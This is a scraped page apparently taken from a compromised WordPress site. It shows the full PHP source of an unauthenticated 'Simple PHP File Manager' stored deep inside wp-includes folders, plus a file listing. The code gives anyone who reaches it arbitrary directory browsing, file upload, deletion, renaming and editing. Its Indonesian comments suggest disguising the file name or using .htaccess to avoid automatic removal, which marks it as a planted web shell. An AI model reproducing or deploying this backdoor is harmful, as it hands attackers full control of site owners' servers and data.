PATH:
home
/
bnathsfovv
/
theconnecto.me
/
wp-includes026
/
Requests
/
src
/
Exception
/
assets
<?php // Simple PHP File Manager // Untuk penggunaan di server pribadi. Pastikan untuk mengamankannya dengan autentikasi jika diakses secara publik. // "Anti dihapus otomatis": Ini hanyalah skrip sederhana; untuk mencegah penghapusan otomatis oleh server, Anda bisa rename file menjadi sesuatu yang tidak mencurigakan atau gunakan .htaccess untuk proteksi, tapi itu tergantung konfigurasi server Anda. // Fungsi untuk mendapatkan path saat ini $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $dir = rtrim($dir, '/') . '/'; // Fungsi untuk membuat breadcrumb function breadcrumb($path) { $parts = explode('/', trim($path, '/')); $breadcrumb = '<a href="?dir=/">Root</a>'; $current = '/'; foreach ($parts as $part) { if ($part) { $current .= $part . '/'; $breadcrumb .= ' / <a href="?dir=' . urlencode($current) . '">' . htmlspecialchars($part) . '</a>'; } } return $breadcrumb; } // Handle upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $target = $dir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo '<p>File uploaded successfully.</p>'; } else { echo '<p>Upload failed.</p>'; } } // Handle delete if (isset($_GET['delete'])) { $file = $dir . $_GET['delete']; if (is_dir($file)) { rmdir($file); // Hati-hati: ini hanya menghapus direktori kosong. Untuk rekursif, gunakan fungsi lain. } else { unlink($file); } header("Location: ?dir=" . urlencode($dir)); exit; } // Handle rename if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = $dir . $_POST['rename_old']; $new = $dir . $_POST['rename_new']; rename($old, $new); header("Location: ?dir=" . urlencode($dir)); exit; } // Handle edit if (isset($_POST['edit_file']) && isset($_POST['content'])) { file_put_contents($dir . $_POST['edit_file'], $_POST['content']); header("Location: ?dir=" . urlencode($dir)); exit; } // Tampilkan form edit jika diminta $edit_file = isset($_GET['edit']) ? $_GET['edit'] : null; if ($edit_file) { $content = file_get_contents($dir . $edit_file); echo '<h2>Edit File: ' . htmlspecialchars($edit_file) . '</h2>'; echo '<form method="post">'; echo '<textarea name="content" rows="20" cols="80">' . htmlspecialchars($content) . '</textarea><br>'; echo '<input type="hidden" name="edit_file" value="' . htmlspecialchars($edit_file) . '">'; echo '<input type="submit" value="Save">'; echo '</form>'; exit; // Keluar setelah menampilkan editor } ?> <!DOCTYPE html> <html> <head> <title>Simple PHP File Manager</title> </head> <body> <h1>File Manager</h1> <p>Current Path: <?php echo breadcrumb($dir); ?></p> <!-- Form Upload --> <h2>Upload File</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="upload" value="Upload"> </form> <!-- List Files and Folders --> <h2>Files and Folders</h2> <table border="1"> <tr><th>Name</th><th>Actions</th></tr> <?php $files = scandir($dir); foreach ($files as $file) { if ($file != '.' && $file != '..') { $fullpath = $dir . $file; $is_dir = is_dir($fullpath); echo '<tr>'; echo '<td>'; if ($is_dir) { echo '<a href="?dir=' . urlencode($fullpath) . '">' . htmlspecialchars($file) . '/</a>'; } else { echo htmlspecialchars($file); } echo '</td>'; echo '<td>'; echo '<a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '" onclick="return confirm(\'Delete?\')">Delete</a> | '; echo '<form method="post" style="display:inline;"> <input type="hidden" name="rename_old" value="' . htmlspecialchars($file) . '"> <input type="text" name="rename_new" placeholder="New name"> <input type="submit" value="Rename"> </form>'; if (!$is_dir) { echo ' | <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a>'; } echo '</td>'; echo '</tr>'; } } ?> </table> <!-- Navigasi ke parent jika bukan root --> <?php if ($dir != '/') { ?> <p><a href="?dir=<?php echo urlencode(dirname($dir)); ?>">Go to Parent Directory</a></p> <?php } ?> </body> </html>
[-] index.php
[edit]
[-] .htaccess
[edit]
[+]
..